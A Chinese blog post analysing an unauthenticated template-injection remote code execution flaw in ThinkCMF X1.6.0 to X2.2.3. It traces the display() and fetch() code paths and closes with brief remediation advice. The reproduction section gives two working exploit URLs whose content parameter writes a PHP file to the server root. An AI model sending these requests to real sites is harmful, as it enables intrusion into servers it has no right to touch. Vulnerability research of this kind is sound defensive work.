前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ThinkCMF 前台模板注入 RCE

ThinkCMF 前台模板注入 RCE

作者头像
wywwzjj
发布2023-05-09 14:27:02
1.3K0
发布2023-05-09 14:27:02
举报
文章被收录于专栏:wywwzjj 的技术博客

概述

ThinkCMF 是一款基于 PHP+MYSQL 开发的中文内容管理框架,底层采用 ThinkPHP3.2.3 构建。

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

影响版本

  • ThinkCMF X1.6.0
  • ThinkCMF X2.1.0
  • ThinkCMF X2.2.0
  • ThinkCMF X2.2.1
  • ThinkCMF X2.2.2
  • ThinkCMF X2.2.3

环境搭建

ThinkCMF X2.2.3 下载地址:https://pan.baidu.com/s/1bRXwdg

按照引导安装即可,该框架调试模式默认开启。

image.png
image.png

复现

  • 利用 display(),实现任意文件包含。
image.png
image.png
  • 利用 display() 写 shell。
代码语言:javascript
复制
http://cmf.com/index.php/index/display/?templateFile=README.md&content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?>%27);

在根目录写入成功。

image.png
image.png
  • 利用 fetch() 直接写 PHP 文件。
代码语言:javascript
复制
http://cmf.com/index.php/index/fetch/?content=%3C?php%20file_put_contents(%27i.php%27,%27%3C?php%20phpinfo();%20?%3E%27);

在根目录写入成功。

image.png
image.png

分析

目录结构

代码语言:javascript
复制
|--admin                      管理后台URL重定向目录,你可以将文件夹名改为任何你喜欢的
  |--themes                   后台模板文件目录
|--application                应用目录
  |--Admin                    后台管理应用
  |--Api                      公共接口
  |--Asset                    资源管理应用
  |--Comment                  评论应用
  |--Common                   应用公共模块
  |--Portal                   门户应用
    |--Controller             必须目录,存放应用的操作模块如:IndexController.class.php
  	|--Conf                   可选,应用配置文件存放目录,如应用无配置文件则不需要
  	|--Common                 可选,应用函数库,如无则不需要
  	|--Lang					  多语言包(可选)
  	|--Menu 				  后台菜单(可选)
  	|--Model  				  模型(可选)
  	|--nav.php				  前台导航文件(可选)
|--data                       各类数据存放目录,包括缓存数据
|--simplewind                 核心包,无特殊情况请勿改动
|--public                     静态文件存放包,包含bootstrap资源
|--themes                     前台模板文件目录

先回顾一下如何正常访问一个控制器,比如 Portal 下 IndexController.class.php 中的 index 方法。

代码语言:javascript
复制
class IndexController extends HomebaseController {
    public function index($name) {
        echo "Hello, $name~<br>" . "This is index of IndexController.";
    }
}

按照 ThinkPHP 提供的方法,可以是 index.php/portal/index/index/name/wywwzjj。(portal 是默认模块)

image.png
image.png

一般来说,ThinkPHP 的控制器是一个类,而操作则是控制器类的一个公共方法

也就是说,我们可以使用这种方式来调用任意的 public 方法。

注意到 IndexController 类继承了 HomebaseController,这有一系列继承。

代码语言:javascript
复制
class IndexController extends HomebaseController {
    class HomebaseController extends AppframeController {
        class AppframeController extends Controller {
            abstract class Controller {

当扩展一个类,子类就会继承父类所有公有的和受保护的方法。除非子类覆盖了父类的方法,被继承的方法都会保留其原有功能。

所以 IndexController 类有了父类的所有方法,这里列举一下所有 public 方法,说不定可以组合利用。

代码语言:javascript
复制
// abstract class Controller

public function __construct() 			// 架构函数,取得模板对象实例
public function __destruct()
public function __get($name)
public function __set($name, $value)
public function get($name = '')  		// 取得模板显示变量的值
public function __isset($name)  		// 检测模板变量的值
public function __call($method, $args) 	// 没戏,写死了,没有实现动态调用

//  class AppframeController
    
public function _empty()				// 爆了个页面不存在的错
public function theme($theme)			// 模板主题设置
    
// class HomebaseController
    
public function __construct()  			// 覆盖掉父类的
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '')  // 加载模板和页面输出 可以返回输出内容
public function parseTemplate($template = '')  // 自动定位模板文件
public function fetch($templateFile = '', $content = '', $prefix = '')  // 获取输出页面内容

目前来看,能造成敏感操作只有 display()fetch() 了,继续跟进。

display

代码语言:javascript
复制
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
    parent::display($this->parseTemplate($templateFile), $charset, $contentType, $content, $prefix);
}

parseTemplate() 前面一大段没有对 template 进行处理,然后是文件就直接返回,这里不用关心了。

代码语言:javascript
复制
// HomebaseController.class.php line 170
if (is_file($template)) {
    return $template;
}

继续

代码语言:javascript
复制
/**
 * 模板显示 调用内置的模板引擎显示方法,
 * @access protected
 * @param string $templateFile 指定要调用的模板文件
 * 默认为空 由系统自动定位模板文件
 * @param string $charset 输出编码
 * @param string $contentType 输出类型
 * @param string $content 输出内容
 * @param string $prefix 模板缓存前缀
 * @return void
*/
protected function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
    $this->view->display($templateFile, $charset, $contentType, $content, $prefix);
}

$this->view->display()

代码语言:javascript
复制
/**
 * 加载模板和页面输出 可以返回输出内容
 * @access public
 * @param string $templateFile 模板文件名
 * @param string $charset 模板输出字符集
 * @param string $contentType 输出类型
 * @param string $content 模板输出内容
 * @param string $prefix 模板缓存前缀
 * @return mixed
 */
public function display($templateFile = '', $charset = '', $contentType = '', $content = '', $prefix = '') {
    G('viewStartTime');
    // 视图开始标签
    Hook::listen('view_begin', $templateFile);
    // 解析并获取模板内容
    $content = $this->fetch($templateFile, $content, $prefix);
    // 输出模板内容
    $this->render($content, $charset, $contentType);
    // 视图结束标签
    Hook::listen('view_end');
}

继续看 fetch() 的实现。

代码语言:javascript
复制
if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板,默认为 Thinkphp
    $_content = $content;
    // 模板阵列变量分解成为独立变量
    extract($this->tVar, EXTR_OVERWRITE);
    // 直接载入PHP模板
    empty($_content) ? include $templateFile : eval('?>' . $_content);
} else {
    // 视图解析标签
    $params = array('var' => $this->tVar, 'file' => $templateFile, 'content' => $content, 'prefix' => $prefix);
    Hook::listen('view_parse', $params);
}

在这完成的文件读取。

image.png
image.png

然后编译模板。

代码语言:javascript
复制
// 编译模板内容
$tmplContent = $this->compiler($tmplContent);
Storage::put($tmplCacheFile, trim($tmplContent), 'tpl');

编译的过程中还稍微做了下安全处理,这里能绕吗?能!

代码语言:javascript
复制
// 添加安全代码
$tmplContent = '<?php if (!defined(\'THINK_PATH\')) exit();?>' . $tmplContent;
// 优化生成的php代码
$tmplContent = str_replace('?><?php', '', $tmplContent);  // 这一句反而帮了倒忙

再写入临时文件,其中文件名是 $templateFile 的 md5 哈希值。

最终 include 这个模板。

image.png
image.png

文件包含到这里就结束了,相比 fetch,他多了个 render 的方法来进行输出,所以有回显。

继续看如何写 shell,str_replace 是怎么帮的倒忙。

作者原意是在模板前面加入退出语句,使得必须从单入口进入,但有了 include 之后,这个也不用管啦。

结合这个替换,模板内容中的 PHP 语句可以直接拼接上去,比如复现中给出的 payload 产生的效果:

代码语言:javascript
复制
<?php if (!defined('THINK_PATH')) exit(); file_put_contents('i.php','<?php phpinfo(); ?>');

fetch

有了上面的铺垫,fetch 这里分析起来就更简单了,而且不再需要传 templateFile 参数。

代码语言:javascript
复制
public function fetch($templateFile = '', $content = '', $prefix = '') {
    $templateFile = empty($content) ? $this->parseTemplate($templateFile) : '';
    return parent::fetch($templateFile, $content, $prefix);
}

最终处理的方法是一样的,不再赘述。

Comment 模块和 Api 模块都能调用到 fetch,所以也是触发点。

存在 SSTI 漏洞的 CMS 合集:https://xz.aliyun.com/t/5568

总结

如果参数可控且不转义 <>,可以利用的还有$this->show(),这三个方法在 TP3 上是通用的。

看了一下其他人的分析文章,发现有些被带偏了,真的需要模板标签吗?display 真的不能写 shell 吗?

话说回来,如果 <? 这种标签被过滤掉了,确实可以通过模板标签 <php></php> 解析来绕一下。

如何防御?最简单的就是将这些本不该 public 的方法“私有化”,最好的还是将传入参数尖括号编码。

不过,即使不能直接访问了,结合一些反序列化链这些方法或许还能利用。

参考

https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

https://mochazz.github.io/2019/07/25/ThinkCMFX%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%90%88%E9%9B%86

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019/11/21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 概述
  • 环境搭建
  • 复现
  • 分析
    • display
      • fetch
      • 总结
      • 参考
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档